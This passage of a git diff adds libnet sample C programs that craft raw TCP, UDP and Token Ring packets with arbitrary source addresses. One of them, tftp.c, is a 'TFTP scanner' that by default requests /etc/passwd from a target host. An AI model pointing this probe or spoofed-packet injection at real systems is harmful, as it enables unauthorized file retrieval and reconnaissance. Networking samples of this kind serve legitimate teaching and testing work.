+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+#if defined(__WIN32__)
+#include <../include/win32/getopt.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#endif /* __WIN32__ */
+/* EOF */
diff --git a/libnet/sample/tcp2.c b/libnet/sample/tcp2.c
new file mode 100644
index 0000000..e45de90
--- /dev/null
+++ b/libnet/sample/tcp2.c
@@ -0,0 +1,192 @@
+/*
+ * $Id: tcp2.c,v 1.3 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet 1.1
+ * raw_tcp.c - Build a TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 10, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tftp.c b/libnet/sample/tftp.c
new file mode 100644
index 0000000..b77e887
--- /dev/null
+++ b/libnet/sample/tftp.c
@@ -0,0 +1,207 @@
+/*
+ *
+ * libnet 1.1
+ * Build a TFTP scanner using payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Ex:
+ * ./tftp -s 192.168.0.1 -d 192.168.0.66 -p plop
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t udp = 0, ip = 0;
+ char *filename = "/etc/passwd";
+ char mode[] = "netascii";
+ u_char *payload = NULL;
+ u_int payload_s = 0;
+
+
+ printf("libnet 1.1 packet shaping: UDP + payload[raw] == TFTP\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ goto bad;
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ goto bad;
+ }
+ break;
+
+ case 'p':
+ filename = optarg;
+ break;
+
+ default:
+ fprintf(stderr, "unkown option [%s]: bye bye\n", optarg);
+ goto bad;
+
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * build payload
+ *
+ * 2 bytes string 1 byte string 1 byte
+ * ------------------------------------------------
+ * | Opcode | Filename | 0 | Mode | 0 |
+ * ------------------------------------------------
+ *
+ */
+ payload_s = 2 + strlen(filename) + 1 + strlen(mode) + 1;
+ payload = malloc(sizeof(char)*payload_s);
+ if (!payload)
+ {
+ fprintf(stderr, "malloc error for payload\n");
+ goto bad;
+ }
+ memset(payload, 0, payload_s);
+ payload[1] = 1; /* opcode - GET */
+ memcpy(payload + 2, filename, strlen(filename));
+ memcpy(payload + 2 + strlen(filename) + 1 , mode, strlen(mode));
+
+ /*
+ * Build pblocks
+ */
+ udp = libnet_build_udp(
+ 0x1234, /* source port */
+ 69, /* destination port */
+ LIBNET_UDP_H + payload_s, /* packet length */
+ 0, /* checksum */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* length - dont forget the UDP's payload */
+ 0, /* TOS */
+ 0x4242, /* IP ID */
+ 0, /* IP Frag */
+ 0x42, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload (already in UDP) */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TFTP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ free(payload);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ free(payload);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip"
+ " [-p payload] [-t|u|i] \n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tring_tcp1.c b/libnet/sample/tring_tcp1.c
new file mode 100644
index 0000000..9b9140f
--- /dev/null
+++ b/libnet/sample/tring_tcp1.c
@@ -0,0 +1,214 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on Token Ring
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over Token Ring) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hard-coded for tr0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "tr0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_token_ring(
+ LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */
+ tr_dst, /* token ring destination */
+ tr_src, /* token ring source */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ TOKEN_RING_TYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/tring_tcp2.c b/libnet/sample/tring_tcp2.c
new file mode 100644
index 0000000..f5f85a2
--- /dev/null
+++ b/libnet/sample/tring_tcp2.c
@@ -0,0 +1,210 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on token ring (autobuild)
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over token ring) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hard-coded for tr0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "tr0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_token_ring(
+ LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, /* LLC - Normal buffer */
+ tr_dst, /* token ring destination */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ TOKEN_RING_TYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build token ring header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/udp1.c b/libnet/sample/udp1.c
new file mode 100644
index 0000000..b95e8e1
--- /dev/null
+++ b/libnet/sample/udp1.c
@@ -0,0 +1,223 @@
+/*
+ * $Id: udp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a UDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c, i, j, build_ip;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t ip, ipo;
+ libnet_ptag_t udp;
+ char *payload;
+ u_short payload_s;
+ struct libnet_stats ls;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ u_char opt[20];
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: UDP + IP options[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ ip = ipo = udp = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
